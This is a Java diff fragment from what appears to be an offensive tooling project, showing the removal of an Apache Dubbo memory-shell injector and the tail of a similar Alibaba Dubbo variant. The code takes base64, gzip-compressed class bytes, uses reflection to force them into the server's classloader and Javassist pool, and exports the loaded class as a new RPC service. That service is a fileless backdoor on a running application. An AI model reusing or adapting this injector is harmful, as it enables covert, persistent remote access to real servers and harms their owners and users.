|
||||
while ((read = inputStream.read(buffer)) > 0) {
|
||||
outputStream.write(buffer, 0, read);
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
} finally {
|
||||
if (inputStream != null) {
|
||||
inputStream.close();
|
||||
}
|
||||
outputStream.close();
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
|
||||
if (!serviceInterface.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
|
||||
}
|
||||
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
|
||||
}
|
||||
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
|
||||
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> serviceImpl) {
|
||||
try {
|
||||
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
|
||||
serviceConfig.setInterface(serviceInterface);
|
||||
serviceConfig.setRef(serviceImpl);
|
||||
serviceConfig.setPath(servicePath);
|
||||
|
||||
ProviderConfig providerConfig = findProviderConfig();
|
||||
if (providerConfig != null) {
|
||||
serviceConfig.setProvider(providerConfig);
|
||||
if (notEmpty(providerConfig.getVersion())) {
|
||||
serviceConfig.setVersion(providerConfig.getVersion());
|
||||
}
|
||||
}
|
||||
|
||||
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
|
||||
if (!protocolConfigs.isEmpty()) {
|
||||
serviceConfig.setProtocols(protocolConfigs);
|
||||
}
|
||||
|
||||
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
|
||||
if (!registryConfigs.isEmpty()) {
|
||||
serviceConfig.setRegistries(registryConfigs);
|
||||
}
|
||||
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ServiceConfig<?> findRegisteredService(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
|
||||
return serviceConfig;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ProviderConfig findProviderConfig() {
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && serviceConfig.getProvider() != null) {
|
||||
return serviceConfig.getProvider();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig != null && providerConfig.getApplication() != null) {
|
||||
return providerConfig.getApplication();
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
if (serviceConfig.getApplication() != null) {
|
||||
return serviceConfig.getApplication();
|
||||
}
|
||||
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
|
||||
return serviceConfig.getProvider().getApplication();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
|
||||
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
|
||||
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
addProtocols(protocols, serviceConfig.getProtocols());
|
||||
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
return uniqueProtocols(protocols);
|
||||
}
|
||||
|
||||
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
|
||||
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
registries = registries(serviceConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ProviderConfig serviceProvider = serviceConfig.getProvider();
|
||||
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ApplicationConfig serviceApplication = serviceConfig.getApplication();
|
||||
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
}
|
||||
|
||||
return new ArrayList<RegistryConfig>();
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
|
||||
if (serviceConfig == null) {
|
||||
serviceConfig = findRegisteredService(normalizedPath);
|
||||
}
|
||||
if (serviceConfig == null) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
List<URL> exportedUrls = serviceConfig.getExportedUrls();
|
||||
if (exportedUrls != null && !exportedUrls.isEmpty()) {
|
||||
return formatUrls(exportedUrls);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
|
||||
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
|
||||
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
if (protocols.isEmpty()) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
return formatProtocolAddresses(protocols, normalizedPath);
|
||||
}
|
||||
|
||||
private String formatUrls(List<URL> urls) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (URL url : urls) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatUrl(url));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatProtocolAddress(protocol, path));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatUrl(URL url) {
|
||||
String path = normalizePath(url.getPath());
|
||||
int port = url.getPort();
|
||||
return port > 0
|
||||
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
|
||||
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
|
||||
Integer port = protocol.getPort();
|
||||
return port != null && port > 0
|
||||
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private List<ProviderModel> providerModels() {
|
||||
try {
|
||||
return ApplicationModel.allProviderModels();
|
||||
} catch (Throwable ignored) {
|
||||
return new ArrayList<ProviderModel>();
|
||||
}
|
||||
}
|
||||
|
||||
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
|
||||
if (source != null) {
|
||||
target.addAll(source);
|
||||
}
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
|
||||
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
|
||||
if (protocols != null) {
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (protocol != null) {
|
||||
unique.put(protocolKey(protocol), protocol);
|
||||
}
|
||||
}
|
||||
}
|
||||
return new ArrayList<ProtocolConfig>(unique.values());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
|
||||
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocol) {
|
||||
return String.valueOf(protocol.getName())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getHost())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getPort())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getServer())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getId());
|
||||
}
|
||||
|
||||
private String normalizePath(String path) {
|
||||
if (path == null) {
|
||||
return "";
|
||||
}
|
||||
|
||||
String normalized = path.trim();
|
||||
while (normalized.startsWith("/")) {
|
||||
normalized = normalized.substring(1);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
private boolean notEmpty(String value) {
|
||||
return value != null && !value.isEmpty();
|
||||
}
|
||||
|
||||
private String stackTrace(Throwable throwable) {
|
||||
StringWriter writer = new StringWriter();
|
||||
throwable.printStackTrace(new PrintWriter(writer));
|
||||
return writer.toString();
|
||||
}
|
||||
}
|
||||
@@ -1,616 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||
import org.apache.dubbo.config.*;
|
||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ApacheDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public ApacheDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + getErrorMessage(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = resolveDubboClassLoader();
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private ClassLoader resolveDubboClassLoader() {
|
||||
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = ClassGenerator.class.getClassLoader();
|
||||
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
|
||||
}
|
||||
|
||||
private ClassLoader invokeDubboClassLoader(String className) {
|
||||
try {
|
||||
Class<?> helperClass = Class.forName(className);
|
||||
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
|
||||
try {
|
||||
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
try {
|
||||
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
} catch (NoSuchMethodException e) {
|
||||
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
insertByteArrayClassPath(className, classLoader, classBytes);
|
||||
}
|
||||
|
||||
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
|
||||
Class<?> classPathClass = Class.forName("javassist.ClassPath");
|
||||
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
|
||||
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
|
||||
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
|
||||
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String str) throws Exception {
|
||||
return Base64.getDecoder().decode(str);
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
|
||||
byte[] bArr2 = new byte[4096];
|
||||
int i;
|
||||
while ((i = gZIPInputStream.read(bArr2)) > 0) {
|
||||
byteArrayOutputStream.write(bArr2, 0, i);
|
||||
}
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
String strNormalizePath = normalizePath(getUrlPattern());
|
||||
if (strNormalizePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
|
||||
Class<?> shell = loadClass(getHelperBase64String());
|
||||
Class<?> shell2 = loadClass(getBase64String());
|
||||
validateServiceTypes(shell, shell2);
|
||||
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
|
||||
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
try {
|
||||
serviceConfigCreateServiceConfig.export();
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
} catch (RuntimeException e) {
|
||||
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
|
||||
private boolean isPathRegisteredInFramework(String str) {
|
||||
try {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private Collection<?> getRegisteredServices() {
|
||||
try {
|
||||
Object configManager = resolveConfigManager();
|
||||
return toList(invokeNoArgs(configManager, "getServices"));
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
|
||||
return toList(invokeNoArgs(objInvoke3, "getServices"));
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String normalizePath(String str) {
|
||||
if (str == null) {
|
||||
return "";
|
||||
}
|
||||
String strTrim = str.trim();
|
||||
while (true) {
|
||||
String str2 = strTrim;
|
||||
if (!str2.startsWith("/")) {
|
||||
return str2;
|
||||
}
|
||||
strTrim = str2.substring(1);
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
|
||||
if (!cls.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + cls.getName());
|
||||
}
|
||||
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
|
||||
}
|
||||
if (!cls.isAssignableFrom(cls2)) {
|
||||
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> cls) {
|
||||
try {
|
||||
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
|
||||
declaredConstructor.setAccessible(true);
|
||||
return declaredConstructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
|
||||
Object configManager = resolveConfigManager();
|
||||
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
|
||||
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
|
||||
serviceConfig.setInterface(cls);
|
||||
serviceConfig.setRef(obj);
|
||||
serviceConfig.setPath(str);
|
||||
serviceConfig.setProxy("jdk");
|
||||
if (providerConfigSanitizeProviderConfig != null) {
|
||||
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
|
||||
}
|
||||
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
|
||||
if (strResolveConfiguredVersion != null) {
|
||||
serviceConfig.setVersion(strResolveConfiguredVersion);
|
||||
}
|
||||
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
|
||||
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ProviderConfig resolveDefaultProvider(Object obj) {
|
||||
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
|
||||
if (providerConfigCastProviderConfig != null) {
|
||||
return providerConfigCastProviderConfig;
|
||||
}
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
|
||||
if (objInvokeNoArgs == null) {
|
||||
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
|
||||
}
|
||||
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
|
||||
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
|
||||
}
|
||||
|
||||
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig == null) {
|
||||
return null;
|
||||
}
|
||||
List registries = providerConfig.getRegistries();
|
||||
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
|
||||
return providerConfig;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
|
||||
if (collection == null) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
return collection.stream()
|
||||
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
|
||||
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
|
||||
if (!listFilterValidRegistries.isEmpty()) {
|
||||
return listFilterValidRegistries;
|
||||
}
|
||||
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
|
||||
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
|
||||
}
|
||||
|
||||
private String resolveConfiguredVersion(Object obj) {
|
||||
return stringValue(invokeNoArgs(obj, "getVersion"), null);
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
|
||||
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
|
||||
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
|
||||
List<ProtocolConfig> arrayList = new ArrayList<>();
|
||||
if (collection != null) {
|
||||
try {
|
||||
for (Object service : collection) {
|
||||
try {
|
||||
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e2) {
|
||||
}
|
||||
}
|
||||
try {
|
||||
for (Object exportedProvider : getExportedProviders()) {
|
||||
try {
|
||||
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
|
||||
}
|
||||
} catch (Exception e3) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private Collection<?> getExportedProviders() {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
|
||||
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
|
||||
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
|
||||
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String str) {
|
||||
String strNormalizePath = normalizePath(str);
|
||||
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
|
||||
if (objFindRegisteredService == null) {
|
||||
objFindRegisteredService = findRegisteredService(strNormalizePath);
|
||||
}
|
||||
if (objFindRegisteredService == null) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
|
||||
if (!listExtractExportedUrls.isEmpty()) {
|
||||
return formatUrls(listExtractExportedUrls);
|
||||
}
|
||||
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
|
||||
if (listResolveProtocols.isEmpty()) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
|
||||
}
|
||||
|
||||
private Object findRegisteredService(String str) {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<?> extractExportedUrls(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
|
||||
if (!list.isEmpty()) {
|
||||
return list;
|
||||
}
|
||||
List<?> list2 = toList(getFieldValue(obj, "exporters"));
|
||||
if (list2.isEmpty()) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
List<Object> arrayList = new ArrayList<>();
|
||||
for (Object exporter : list2) {
|
||||
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.add(objInvokeNoArgs);
|
||||
}
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private List<?> resolveProtocols(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
|
||||
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
|
||||
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
|
||||
}
|
||||
|
||||
private Object invokeNoArgs(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return obj.getClass().getMethod(str).invoke(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object invokeStaticNoArgs(Class<?> cls, String str) {
|
||||
try {
|
||||
return cls.getMethod(str).invoke(null);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFieldValue(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
Class<?> superclass = obj.getClass();
|
||||
while (true) {
